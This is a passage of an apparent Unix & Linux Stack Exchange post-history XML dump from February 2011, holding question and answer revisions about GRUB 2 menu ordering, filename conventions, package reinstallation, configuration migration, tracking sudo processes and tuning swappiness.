list.&#xD;&#xA;" />
  <row Id="17096" PostHistoryTypeId="2" PostId="7362" RevisionGUID="56a3c8a3-bdb4-42bd-86ea-65c9624f8a23" CreationDate="2011-02-13T16:42:42.077" UserId="688" Text="Using GRUB 2 is harder than GRUB 1 for these use cases:&#xD;&#xA;&#xD;&#xA;* It looks like if I want to reorder GRUB 2 menu entries appear in the selection window, I have to rename the files in &quot;**/etc/grub.d/*** directory.&#xD;&#xA;* If I have to change boot order, I first have to look in &quot;**/boot/grub/grub.cfg**&quot;, check when the entry I want to be default appears, then set the `GRUB_DEFAULT` parameter in &quot;**/etc/default/grub**&quot; to match it (counting from 0).&#xD;&#xA;&#xD;&#xA;The old GRUB used to allow me to do all of this by just moving text entries in &quot;**/boot/grub/menu.lst**&quot; around. This much-simpler way kept me using GRUB 1 for a while. This makes me wonder if there's a specialized tool to make all of this easier?&#xD;&#xA;" />
  <row Id="17097" PostHistoryTypeId="1" PostId="7362" RevisionGUID="56a3c8a3-bdb4-42bd-86ea-65c9624f8a23" CreationDate="2011-02-13T16:42:42.077" UserId="688" Text="An easy way to manipulate GRUB 2 entries" />
  <row Id="17098" PostHistoryTypeId="3" PostId="7362" RevisionGUID="56a3c8a3-bdb4-42bd-86ea-65c9624f8a23" CreationDate="2011-02-13T16:42:42.077" UserId="688" Text="égrub2à" />
  <row Id="17099" PostHistoryTypeId="5" PostId="7361" RevisionGUID="d4175141-981c-4f0b-9c4a-56649b663ef8" CreationDate="2011-02-13T16:42:49.330" UserId="1207" Comment="added 6 characters in body" Text="Stick to alphanumeric filenames. Avoid spaces or replace spaces with underscores ( \_ ).  Limit punctuation in file names to periods (.), underscores ( \_ ), and hyphens (-).  Generally filenames are lowercase, but I use CamelCase when I have multiple words in the filename.&#xD;&#xA;&#xD;&#xA;Use extensions which indicate the type of file.  Programs do not need extensions as the execute bit is used to indicate programs, and the shells know how to run programs of various types.  It is common but not required to (.sh) for shell scripts, and (.pl) for perl scripts. The Windows executable extensions .bat, .com, and .exe indicate Windows executables on Unix. &#xD;&#xA;&#xD;&#xA;Pick a standard and stick to it.  But it won't break things if you avoid it.  &#xD;&#xA;&#xD;&#xA;Hidden (or dot) files have names starting with a period.  These normally don't show up in directory listings.  Use 'ls -a' to include the dot files in the list.&#xD;&#xA;" />
  <row Id="17100" PostHistoryTypeId="25" PostId="7358" RevisionGUID="affea8ab-d031-4e09-b744-071651e84795" CreationDate="2011-02-13T17:22:45.737" Comment="http://twitter.com/#!/StackUnix/status/36837695284060160" />
  <row Id="17101" PostHistoryTypeId="5" PostId="7362" RevisionGUID="aa506a16-5823-4a0c-a52d-4ce813abcc4b" CreationDate="2011-02-13T17:35:31.357" UserId="688" Comment="improve title; tiny fixes" Text="Using GRUB 2 is harder than GRUB 1 for these use cases:&#xD;&#xA;&#xD;&#xA;* It looks like if I want to reorder GRUB 2 menu entries appear in the selection window, I have to rename the files in &quot;**/etc/grub.d/**&quot; directory.&#xD;&#xA;* If I have to change boot order, I first have to look in &quot;**/boot/grub/grub.cfg**&quot;, check when the entry I want to be default appears, then set the `GRUB_DEFAULT` parameter in &quot;**/etc/default/grub**&quot; to match it (counting from 0).&#xD;&#xA;&#xD;&#xA;The old GRUB used to allow me to do all of this by just moving text entries in &quot;**/boot/grub/menu.lst**&quot; around. This much-simpler way kept me using GRUB 1 for a while. This makes me wonder if there's a specialized tool to make all of this easier.&#xD;&#xA;" />
  <row Id="17102" PostHistoryTypeId="4" PostId="7362" RevisionGUID="aa506a16-5823-4a0c-a52d-4ce813abcc4b" CreationDate="2011-02-13T17:35:31.357" UserId="688" Comment="improve title; tiny fixes" Text="Is there an easier way to manipulate GRUB 2 entries?" />
  <row Id="17103" PostHistoryTypeId="2" PostId="7363" RevisionGUID="f18e51a9-b304-45b2-b9c7-8b0b2857a8cb" CreationDate="2011-02-13T17:40:19.730" UserId="674" Text="I was wondering what commands/utilities can be used in terminal to know the types of [windowing system][1] (such as X window system), [window manager][2] (such as Metacity, KWin, Window Maker) and [desktop environment][3] (such as KDE, Gnome) of a Linux or other Unix-like operating systems?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Windowing_system&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Window_manager&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Desktop_environment" />
  <row Id="17104" PostHistoryTypeId="1" PostId="7363" RevisionGUID="f18e51a9-b304-45b2-b9c7-8b0b2857a8cb" CreationDate="2011-02-13T17:40:19.730" UserId="674" Text="How to know the types of windowing system, window manager and desktop environment of a Unix-like OS" />
  <row Id="17105" PostHistoryTypeId="3" PostId="7363" RevisionGUID="f18e51a9-b304-45b2-b9c7-8b0b2857a8cb" CreationDate="2011-02-13T17:40:19.730" UserId="674" Text="élinuxàédesktopà" />
  <row Id="17106" PostHistoryTypeId="5" PostId="7277" RevisionGUID="f0c72210-c553-4fac-9d0a-3347054c2567" CreationDate="2011-02-13T18:12:01.483" UserId="688" Comment="deleted 10 characters in body" Text="If I remember right, the preferred way is via `apt`:&#xD;&#xA;&#xD;&#xA;    apt-get reinstall packageNameGoesHere" />
  <row Id="17107" PostHistoryTypeId="8" PostId="7277" RevisionGUID="2ac2d8b0-51fa-4fee-97d1-3661bba1f543" CreationDate="2011-02-13T18:13:13.200" UserId="688" Comment="Rollback to [71a2c285-6be6-448b-bc3d-c23ed1d83f05]" Text="If I remember right, the preferred way is via `apt`:&#xD;&#xA;&#xD;&#xA;    apt-get install --reinstall packageNameGoesHere" />
  <row Id="17108" PostHistoryTypeId="5" PostId="7277" RevisionGUID="7973f0a2-3e77-4350-a95d-d07d4957fbfd" CreationDate="2011-02-13T18:16:03.477" UserId="688" Comment="deleted 21 characters in body" Text="The preferred way is via `apt`:&#xD;&#xA;&#xD;&#xA;    apt-get install --reinstall packageNameGoesHere" />
  <row Id="17109" PostHistoryTypeId="2" PostId="7364" RevisionGUID="1048db26-af78-4d0e-ad0b-26680f173957" CreationDate="2011-02-13T18:30:42.220" UserId="4745" Text="I want to migrate the configuration of an Ubuntu desktop to a new box with different hardware. What is the easiest way to do this? /etc/ contains machine and hardware specific settings so I can't just copy it blindly. A similar problem exists for installed packages." />
  <row Id="17110" PostHistoryTypeId="1" PostId="7364" RevisionGUID="1048db26-af78-4d0e-ad0b-26680f173957" CreationDate="2011-02-13T18:30:42.220" UserId="4745" Text="How do I migrate configuration " />
  <row Id="17111" PostHistoryTypeId="3" PostId="7364" RevisionGUID="1048db26-af78-4d0e-ad0b-26680f173957" CreationDate="2011-02-13T18:30:42.220" UserId="4745" Text="élinuxàéubuntuàémigrationà" />
  <row Id="17112" PostHistoryTypeId="4" PostId="7364" RevisionGUID="ebfdeb45-21ba-44ed-9fbe-1c497ea19e2e" CreationDate="2011-02-13T18:36:48.343" UserId="4745" Comment="edited title; edited title" Text="How do I migrate configuration between computers with different hardware?" />
  <row Id="17113" PostHistoryTypeId="2" PostId="7365" RevisionGUID="9b939bd0-e1e4-4807-9f48-e680033766d7" CreationDate="2011-02-13T18:49:21.373" UserId="2780" Text="The Debian way is:&#xD;&#xA;&#xD;&#xA;    dpkg-reconfigure keyboard-configuration&#xD;&#xA;    dpkg-reconfigure console-data&#xD;&#xA;&#xD;&#xA;To make the change visible in X (else reboot):&#xD;&#xA;&#xD;&#xA;    /etc/init.d/hal restart" />
  <row Id="17114" PostHistoryTypeId="2" PostId="7366" RevisionGUID="423f0085-2cb1-4d4e-a9bb-94cd4cb7ceff" CreationDate="2011-02-13T18:50:37.403" UserId="3270" Text="With difficulty.&#xD;&#xA;&#xD;&#xA;There is no centralized system for keeping track of these things. &#xD;&#xA;&#xD;&#xA;* On Debian-derived Linuxes you might try the `alternatives` system.&#xD;&#xA;* You could query the package manager, and if you find only one Foo installed, you can be pretty sure which Foo is in use.&#xD;&#xA;* You could try parsing the output of `ps`. Or equivalently of reading `/proc` on systems that have it." />
  <row Id="17115" PostHistoryTypeId="2" PostId="7367" RevisionGUID="18e5d071-5802-4e4a-9973-107f8002da90" CreationDate="2011-02-13T18:59:28.020" UserId="3389" Text="Really a lot of the Windows voodoo regarding drivers, the registry, and being sensitive to motherboard changes is less severe on Linux if you are using a generic kernel with all drivers as modules, which is the usual situation for Ubuntu.  These are the only things in /etc that are dependent on the hardware that I know of:&#xD;&#xA;&#xD;&#xA; - If you have proprietary graphics drivers installed, I would think these can be a problem.&#xD;&#xA; - I've swapped a hard drive with Debian installed from an old HP Pavilion (500Mhz cpu, quite old) to a slightly newer MSI KT4V board.  The only issues I had was my network interface names were messed up.  But this affected me more than the usual user because this install was explicitly for use as a router.&#xD;&#xA; - Another thing that might be affected is lm-sensors, if you use it.  This is motherboard specific, but you can just run sensors-detect to fix that.&#xD;&#xA; - If you change the device Linux expects its root partition to be, or if any of the device/partitions pointed to in /etc/fstab change, i.e. you are moving from a PATA drive to a SATA, then you must update this otherwise Linux will have problems.&#xD;&#xA;&#xD;&#xA;If the GPU is the same, the drive controller is the same type, and you don't have a bunch of homemade scripts dependent on the names of your network interfaces, I don't forsee major issues." />
  <row Id="17116" PostHistoryTypeId="5" PostId="4793" RevisionGUID="91ea62e2-af51-4692-b494-fdd0c5519bac" CreationDate="2011-02-13T19:03:44.557" UserId="688" Comment="added 4 characters in body" Text="There aren't that many bash completion tutorials around, but this one is pretty good:&#xD;&#xA;&#xD;&#xA;[Introduction to Bash Completion][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian-administration.org/articles/316&#xD;&#xA;&#xD;&#xA; - Part 1 is for general knowledge&#xD;&#xA; - Part 2 covers creating scripts in /etc/bash_completion.d/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17117" PostHistoryTypeId="5" PostId="6625" RevisionGUID="e7c53e71-2496-4daf-b572-e67bd6c03b6f" CreationDate="2011-02-13T19:07:28.763" UserId="688" Comment="added 1 characters in body; edited title" Text="I installed Ubuntu 10.10 recently and installed BURG (bootloader based on GRUB). However, the boot menu seems to have swapped Vista and Windows Recovery mode; so to go to Vista I need to select the 'recovery mode'. How can I fix this? " />
  <row Id="17118" PostHistoryTypeId="4" PostId="6625" RevisionGUID="e7c53e71-2496-4daf-b572-e67bd6c03b6f" CreationDate="2011-02-13T19:07:28.763" UserId="688" Comment="added 1 characters in body; edited title" Text="BURG menu error" />
  <row Id="17119" PostHistoryTypeId="5" PostId="7238" RevisionGUID="c8130bfc-d44c-4417-905e-cb44e9e82882" CreationDate="2011-02-13T19:14:35.010" UserId="688" Comment="added 10 characters in body" Text="Package (un)installation on a Debian system is horribly slow, partly because it works with a whole bunch of (small) files. Short of getting a faster storage, how do I speed it up? I'm thinking maybe loading some highly-accessed directory onto RAM as one solution, but how do I do that? Is there a 'better' solution?" />
  <row Id="17120" PostHistoryTypeId="2" PostId="7368" RevisionGUID="5eab8329-03ce-4028-bb53-123d606db9c0" CreationDate="2011-02-13T19:22:14.017" UserId="688" Text="[adding onto [this excellent answer][1]]&#xD;&#xA;&#xD;&#xA;I see that you mention concern for installed packages. By this, I suppose you mean that you are going to be tranferring a disk from one machine to another. Assuming that your two machines are x86 architecture, the only problem I can think of that can happen is if your installation is 64-bit and your new machine isn't. If things are the other around, there shouldn't be a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7364/how-do-i-migrate-configuration-between-computers-with-different-hardware/7367#7367" />
  <row Id="17121" PostHistoryTypeId="25" PostId="7362" RevisionGUID="e2188e64-b976-4eef-94e6-c8615b915653" CreationDate="2011-02-13T20:22:46.007" Comment="http://twitter.com/#!/StackUnix/status/36882995122016256" />
  <row Id="17122" PostHistoryTypeId="5" PostId="7336" RevisionGUID="1d1dfd19-6153-4bff-ab52-0b0db32f1bca" CreationDate="2011-02-13T20:24:29.867" UserId="3169" Comment="added 148 characters in body" Text="It doesn't seem to be possible in an easy way.&#xD;&#xA;&#xD;&#xA;From `top`'s perspective, any command a user runs using `sudo` would appear to be running as `root` because it really is running as root.&#xD;&#xA;&#xD;&#xA;One way you could try, is to track it down to the terminal where the user is logged in, then see processes running as root on that terminal.&#xD;&#xA;&#xD;&#xA;For example, run `w` to see the `TTY` field, then run `top -u root`, then press `g` to make `top` sort by `TTY`.&#xD;&#xA;&#xD;&#xA;If you don't need `top`, it should be possible using `ps`, e.g. using `ps -t &lt;tty&gt;`.&#xD;&#xA;&#xD;&#xA;Or you could use `procfs` to get a list of `pids`, e.g.&#xD;&#xA;&#xD;&#xA;    $ sudo grep -l SUDO_USER=&quot;\&lt;username\&gt;&quot; /proc/*/environ&#xD;&#xA;&#xD;&#xA;Also don't forget that a user running a command is probably being logged, e.g. to `/var/log/secure` or `/var/log/auth.log`, or `/var/log/sudo.log`, or whatever your system uses." />
  <row Id="17123" PostHistoryTypeId="5" PostId="7336" RevisionGUID="61bdd980-de17-492f-b5b4-78f146efd2f1" CreationDate="2011-02-13T20:34:09.490" UserId="3169" Comment="added 354 characters in body; added 197 characters in body" Text="It doesn't seem to be possible in an easy way.&#xD;&#xA;&#xD;&#xA;From `top`'s perspective, any command a user runs using `sudo` would appear to be running as `root` because it really is running as root.&#xD;&#xA;&#xD;&#xA;One way you could try, is to track it down to the terminal where the user is logged in, then see processes running as root on that terminal.&#xD;&#xA;&#xD;&#xA;For example, &#xD;&#xA;&#xD;&#xA;    $ w user&#xD;&#xA;    USER     TTY      FROM        LOGIN@   IDLE   JCPU   PCPU WHAT&#xD;&#xA;    user     pts/0    w.x.y.z     07:01    0.00s  1.07s  0.03s w user&#xD;&#xA;&#xD;&#xA;Note the user is on `pts/0`.&#xD;&#xA;&#xD;&#xA;Now run `top`.&#xD;&#xA;&#xD;&#xA;Now press &lt;kbd&gt;f&lt;/kbd&gt; (field select), then &lt;kbd&gt;g&lt;/kbd&gt; (toggle controlling tty field&gt;, then &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Now watch for processes with `pts/0` in the `TTY` column.  &#xD;&#xA;&#xD;&#xA;You can also sort by `TTY` by pressing &lt;kbd&gt;g&lt;/kbd&gt; a second time.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you don't need `top`, it should be possible using `ps`, e.g. using `ps -t &lt;tty&gt;`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or you could use `procfs` to get a list of `pids`, e.g.&#xD;&#xA;&#xD;&#xA;    $ sudo grep -l SUDO_USER=&quot;\&lt;user\&gt;&quot; /proc/*/environ&#xD;&#xA;&#xD;&#xA;Then do anything with that list.  Even use it to run `top -p &lt;pid1&gt;,&lt;pid2&gt;...`.&#xD;&#xA;&#xD;&#xA;Of course, in that case, `top` won't show you if that user starts a new command using `sudo`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Also don't forget that a user running a command is probably being logged, e.g. to `/var/log/secure` or `/var/log/auth.log`, or `/var/log/sudo.log`, or whatever your system uses." />
  <row Id="17124" PostHistoryTypeId="5" PostId="7336" RevisionGUID="00289c30-68db-4b59-926a-8cb2acbc699b" CreationDate="2011-02-13T20:42:18.747" UserId="3169" Comment="added 90 characters in body" Text="It doesn't seem to be possible in an easy way.&#xD;&#xA;&#xD;&#xA;From `top`'s perspective, any command a user runs using `sudo` would appear to be running as `root` because it really is running as root.&#xD;&#xA;&#xD;&#xA;One way you could try, is to track it down to the terminal where the user is logged in, then see processes running as root on that terminal.&#xD;&#xA;&#xD;&#xA;For example, &#xD;&#xA;&#xD;&#xA;    $ w user&#xD;&#xA;    USER     TTY      FROM        LOGIN@   IDLE   JCPU   PCPU WHAT&#xD;&#xA;    user     pts/0    w.x.y.z     07:01    0.00s  1.07s  0.03s w user&#xD;&#xA;&#xD;&#xA;Note the user is on `pts/0`.&#xD;&#xA;&#xD;&#xA;Now run `top`.&#xD;&#xA;&#xD;&#xA;Now press &lt;kbd&gt;f&lt;/kbd&gt; (field select), then &lt;kbd&gt;g&lt;/kbd&gt; (toggle controlling tty field), then &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Now watch for processes with `pts/0` in the `TTY` column.  &#xD;&#xA;&#xD;&#xA;You can also sort by `TTY` by pressing &lt;kbd&gt;g&lt;/kbd&gt; a second time.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or you could use `procfs` to get a list of `pids`, e.g.&#xD;&#xA;&#xD;&#xA;    $ sudo grep -l SUDO_USER=&quot;\&lt;user\&gt;&quot; /proc/*/environ&#xD;&#xA;&#xD;&#xA;Then do anything with that list.  Even use it to run `top -p &lt;pid1&gt;,&lt;pid2&gt;...`.&#xD;&#xA;&#xD;&#xA;    sudo top -p $(sudo grep -l SUDO_USER='\&lt;user\&gt;' /proc/*/environ |&#xD;&#xA;        cut -f 3 -d / |&#xD;&#xA;        grep -v '^self$' |&#xD;&#xA;        perl -p -e 's/\n/,/g' |&#xD;&#xA;        sed -e 's/,$//')&#xD;&#xA;&#xD;&#xA;Of course, in that case, `top` won't show you if that user starts a new command using `sudo`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Also don't forget that a user running a command is probably being logged, e.g. to `/var/log/secure` or `/var/log/auth.log`, or `/var/log/sudo.log`, or whatever your system uses." />
  <row Id="17125" PostHistoryTypeId="5" PostId="7336" RevisionGUID="c782c489-c6c3-49a4-bb7f-953261873b4a" CreationDate="2011-02-13T21:01:29.753" UserId="3169" Comment="deleted 33 characters in body" Text="It doesn't seem to be possible in an easy way.&#xD;&#xA;&#xD;&#xA;From `top`'s perspective, any command a user runs using `sudo` would appear to be running as `root` because it really is running as root.&#xD;&#xA;&#xD;&#xA;One way you could try, is to track it down to the terminal where the user is logged in, then see processes running as root on that terminal.&#xD;&#xA;&#xD;&#xA;For example, &#xD;&#xA;&#xD;&#xA;    $ w user&#xD;&#xA;    USER     TTY      FROM        LOGIN@   IDLE   JCPU   PCPU WHAT&#xD;&#xA;    user     pts/0    w.x.y.z     07:01    0.00s  1.07s  0.03s w user&#xD;&#xA;&#xD;&#xA;Note the user is on `pts/0`.&#xD;&#xA;&#xD;&#xA;Now run `top`.&#xD;&#xA;&#xD;&#xA;Now press &lt;kbd&gt;f&lt;/kbd&gt; (field select), then &lt;kbd&gt;g&lt;/kbd&gt; (toggle controlling tty field), then &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Now watch for processes with `pts/0` in the `TTY` column.  &#xD;&#xA;&#xD;&#xA;You can also sort by `TTY` by pressing &lt;kbd&gt;g&lt;/kbd&gt; a second time.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or you could use `procfs` to get a list of `pids`, e.g.&#xD;&#xA;&#xD;&#xA;    $ sudo grep -l SUDO_USER=&quot;\&lt;user\&gt;&quot; /proc/*/environ&#xD;&#xA;&#xD;&#xA;Then do anything with that list.  Even use it to run `top -p &lt;pid1&gt;,&lt;pid2&gt;...`.&#xD;&#xA;&#xD;&#xA;    sudo top -p $(sudo grep -l SUDO_USER='\&lt;user\&gt;' /proc/[0-9]*/environ |&#xD;&#xA;        cut -f 3 -d / |&#xD;&#xA;        tr '\n' ',' |&#xD;&#xA;        sed -e 's/,$//')&#xD;&#xA;&#xD;&#xA;Of course, in that case, `top` won't show you if that user starts a new command using `sudo`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Also don't forget that a user running a command is probably being logged, e.g. to `/var/log/secure` or `/var/log/auth.log`, or `/var/log/sudo.log`, or whatever your system uses." />
  <row Id="17126" PostHistoryTypeId="2" PostId="7369" RevisionGUID="744c1f6e-c85f-441d-b5bd-d5e6c9293e4a" CreationDate="2011-02-13T21:35:50.880" UserId="3519" Text="To add to what others have said, I'd just say that while accented letters and many special characters are legal in filenames they can cause issues in any of the following scenarios:&#xD;&#xA;&#xD;&#xA; - You share your filesystem with other computers, particularly with different operating systems;&#xD;&#xA; - You share files with others (and although email tends to be quite good with conversions, sometimes it just does not work);&#xD;&#xA; - You use shell scripts to automated some tasks (spaces are particularly problematic, though there are many ways to deal with them);&#xD;&#xA; - You use a file share from another computer.&#xD;&#xA;&#xD;&#xA;..." />
  <row Id="17127" PostHistoryTypeId="2" PostId="7370" RevisionGUID="6c9ef49f-a6db-483c-96cb-0c213717e6e4" CreationDate="2011-02-13T21:48:31.317" UserId="4747" Text="To add to what everyone else has said:&#xD;&#xA;&#xD;&#xA;1-Even though Linux doesn't care much about extensions, Windows does, so make sure any file you ever plan on giving anyone has the appropriate extension.&#xD;&#xA;2-Camel caps (firstWordLowercaseCapitalizeTheRest) seems to be popular and it's definitely the easiest to use scripts with, no special characters to worry about escape sequences." />
  <row Id="17128" PostHistoryTypeId="2" PostId="7371" RevisionGUID="2b94b1e6-2039-4691-a805-b61a7a7ea279" CreationDate="2011-02-13T21:49:29.053" UserId="3169" Text="`.` is used to separate a filetype extension, e.g. `foo.txt`.&#xD;&#xA;&#xD;&#xA;`-` or `_` is used to separate logical words, e.g. `my-big-file.txt` or sometimes `my_big_file.txt`.  `-` is better because you don't have to press the Shift key, others prefer `_` because it looks more like a space.&#xD;&#xA;&#xD;&#xA;So if I understand your example, `backup-part2-random` or `backup_part2_random` would be closest to the normal Unix convention.&#xD;&#xA;&#xD;&#xA;**Do not use CamelCase**.  Have a look at file names in `/bin` and `/usr/bin`.  CamelCase is the exception rather than the rule on Unix and Linux systems.  (Except for Mac OS X.)" />
  <row Id="17129" PostHistoryTypeId="5" PostId="7370" RevisionGUID="aa4a2cb6-7f68-4de6-a8b2-20a734babbe9" CreationDate="2011-02-13T21:56:23.897" UserId="4747" Comment="formatting" Text="To add to what everyone else has said:&#xD;&#xA;&#xD;&#xA;1-Even though Linux doesn't care much about extensions, Windows does, so make sure any file you ever plan on giving anyone has the appropriate extension.&#xD;&#xA;&#xD;&#xA;2-Camel caps (firstWordLowercaseCapitalizeTheRest) seems to be popular and it's definitely the easiest to use scripts with, no special characters to worry about escape sequences." />
  <row Id="17130" PostHistoryTypeId="5" PostId="7371" RevisionGUID="271fb0bc-fbb7-4306-8004-d2a0bb9eabf7" CreationDate="2011-02-13T21:57:19.900" UserId="3169" Comment="added 251 characters in body" Text="`.` is used to separate a filetype extension, e.g. `foo.txt`.&#xD;&#xA;&#xD;&#xA;`-` or `_` is used to separate logical words, e.g. `my-big-file.txt` or sometimes `my_big_file.txt`.  `-` is better because you don't have to press the Shift key, others prefer `_` because it looks more like a space.&#xD;&#xA;&#xD;&#xA;So if I understand your example, `backup-part2-random` or `backup_part2_random` would be closest to the normal Unix convention.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;CamelCase is normally not used on Linux/Unix systems.  Have a look at file names in `/bin` and `/usr/bin`.  CamelCase is the exception rather than the rule on Unix and Linux systems.  &#xD;&#xA;&#xD;&#xA;(`NetworkManager` is the only example I can think of that uses CamelCase, and it was written by a Mac developer.  Many have complained about this choice of name.  On Ubuntu, they have actually renamed the script to `network-manager`.)" />
  <row Id="17131" PostHistoryTypeId="5" PostId="7371" RevisionGUID="01c4be3f-efc7-404f-82bc-5027e6872407" CreationDate="2011-02-13T22:07:15.177" UserId="3169" Comment="added 400 characters in body" Text="`.` is used to separate a filetype extension, e.g. `foo.txt`.&#xD;&#xA;&#xD;&#xA;`-` or `_` is used to separate logical words, e.g. `my-big-file.txt` or sometimes `my_big_file.txt`.  `-` is better because you don't have to press the Shift key, others prefer `_` because it looks more like a space.&#xD;&#xA;&#xD;&#xA;So if I understand your example, `backup-part2-random` or `backup_part2_random` would be closest to the normal Unix convention.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;CamelCase is normally not used on Linux/Unix systems.  Have a look at file names in `/bin` and `/usr/bin`.  CamelCase is the exception rather than the rule on Unix and Linux systems.  &#xD;&#xA;&#xD;&#xA;(`NetworkManager` is the only example I can think of that uses CamelCase, and it was written by a Mac developer.  Many have complained about this choice of name.  On Ubuntu, they have actually renamed the script to `network-manager`.)&#xD;&#xA;&#xD;&#xA;For example, on `/usr/bin` on my system:&#xD;&#xA;&#xD;&#xA;    $ ls -d [A-Z]* | wc -w    # files starting with a capital&#xD;&#xA;    6&#xD;&#xA;    $ ls -d *_* | wc -w       # files containing an underscore&#xD;&#xA;    178&#xD;&#xA;    $ ls -d *-* | wc -w       # files containing a minus/dash&#xD;&#xA;    409&#xD;&#xA;&#xD;&#xA;and even then, none of the files starting with a capital uses CamelCase:&#xD;&#xA;&#xD;&#xA;    $ ls -d [A-Z]*&#xD;&#xA;    GET  HEAD  POST  X11  Xvnc  Xvnc4&#xD;&#xA;" />
  <row Id="17132" PostHistoryTypeId="2" PostId="7372" RevisionGUID="65c40ddc-b9e8-4084-ad1d-f0a94f695932" CreationDate="2011-02-13T22:52:47.147" UserId="2780" Text="Linux _by default_ use the RAM as disk cache. As a demonstration, try to run `time find /some/dir/containing/a/lot/of/files &gt; /dev/null` two times, the second time is a lot faster as every disk inodes are cached. The point here is how to make use of this kernel feature and stop your attempt to replace it.&#xD;&#xA;&#xD;&#xA;The point is to change the `swappiness`. Let's consider three main types of memory use: active programs, inactive programs and disk cache. Obviously memory used by active programs should not be swapped out and the choice between to two others is quite arbitrary. Would you like fast program switching or fast file access? A **low swappiness** prefers to **keep programs in memory** (even if not used for long time) and a **high swappiness** prefers to **keep more disk cache** (by swapping unused programs). (swappiness scale is from 0 to 100 and the default value is 60)&#xD;&#xA;&#xD;&#xA;My solution to your problem is to change the swappiness to very high (90-95 not to say 100) and to load the cache:&#xD;&#xA;&#xD;&#xA;    echo 95 | sudo tee /proc/sys/vm/swappiness &gt; /dev/null # once after reboot&#xD;&#xA;    find /your/source/directory -type f -exec cat {} \; &gt; /dev/null&#xD;&#xA;&#xD;&#xA;As you guess it, you must have enough free memory to hold in cache all your source files and object files as well as the compiler, included headers files, linked libraries, your IDE and other used programs.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17133" PostHistoryTypeId="25" PostId="7363" RevisionGUID="15b2b98a-052f-488b-9226-340077ac37ce" CreationDate="2011-02-13T23:22:45.550" Comment="http://twitter.com/#!/StackUnix/status/36928291881361408" />
  <row Id="17134" PostHistoryTypeId="5" PostId="7370" RevisionGUID="34c943c4-7fc1-4c6f-a19f-f3b9f4e107b0" CreationDate="2011-02-14T00:04:50.443" UserId="4747" Comment="removed error" Text="To add to what everyone else has said:&#xD;&#xA;&#xD;&#xA;1-Even though Linux doesn't care much about extensions, Windows does, so make sure any file you ever plan on giving anyone has the appropriate extension.&#xD;&#xA;&#xD;&#xA;2-Camel caps seems to be the easiest to use scripts with, no special characters to worry about escape sequences." />
  <row Id="17135" PostHistoryTypeId="5" PostId="7364" RevisionGUID="2e2ec886-7696-4e04-88cd-f3c9f577fc71" CreationDate="2011-02-14T00:43:26.760" UserId="4745" Comment="added 44 characters in body" Text="I want to migrate the configuration of an Ubuntu desktop to a new box with different hardware. What is the easiest way to do this? /etc/ contains machine and hardware specific settings so I can't just copy it blindly. A similar problem exists for installed packages.&#xD;&#xA;&#xD;&#xA;edit: This is a move from x86 to x86-64." />
  <row Id="17136" PostHistoryTypeId="5" PostId="7344" RevisionGUID="19252e05-6ed8-403c-a251-22f05f9ea637" CreationDate="2011-02-14T00:49:40.860" UserId="3999" Comment="User not member note." Text="Linux will copy the the contents of `/etc/skel` when a new user is created. I want to have a sub-directory in each user's home directory, `MyStevedore`. I want this directory to have the owner be the new user and the group to be the group `stevedore` with the permissions `drwxrwxr-x`. The user is not a member of the group `stevedore`.&#xD;&#xA;" />
  <row Id="17137" PostHistoryTypeId="25" PostId="7357" RevisionGUID="dee41986-4cc8-44e0-82a5-07e8c83df853" CreationDate="2011-02-14T02:22:46.580" Comment="http://twitter.com/#!/StackUnix/status/36973593917276160" />
  <row Id="17138" PostHistoryTypeId="2" PostId="7373" RevisionGUID="3b2e4f93-7af3-48d6-b426-5d517fe89a6a" CreationDate="2011-02-14T02:28:29.577" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;Earlier Google Chrome used to store Youtube videos in `/tmp` but since the last two versions, it doesn't store there. Nor could I find those files in `~/.cache/google-chrome`. Googling for this query produces Windows specific results. Does anyone have any idea about where these files are stored?&#xD;&#xA;&#xD;&#xA;I am using Fedora 14.&#xD;&#xA;Thanks." />
  <row Id="17139" PostHistoryTypeId="1" PostId="7373" RevisionGUID="3b2e4f93-7af3-48d6-b426-5d517fe89a6a" CreationDate="2011-02-14T02:28:29.577" UserId="4335" Text="Google Chrome Cache" />
  <row Id="17140" PostHistoryTypeId="3" PostId="7373" RevisionGUID="3b2e4f93-7af3-48d6-b426-5d517fe89a6a" CreationDate="2011-02-14T02:28:29.577" UserId="4335" Text="éfedoraàéchromeàéyoutubeà" />
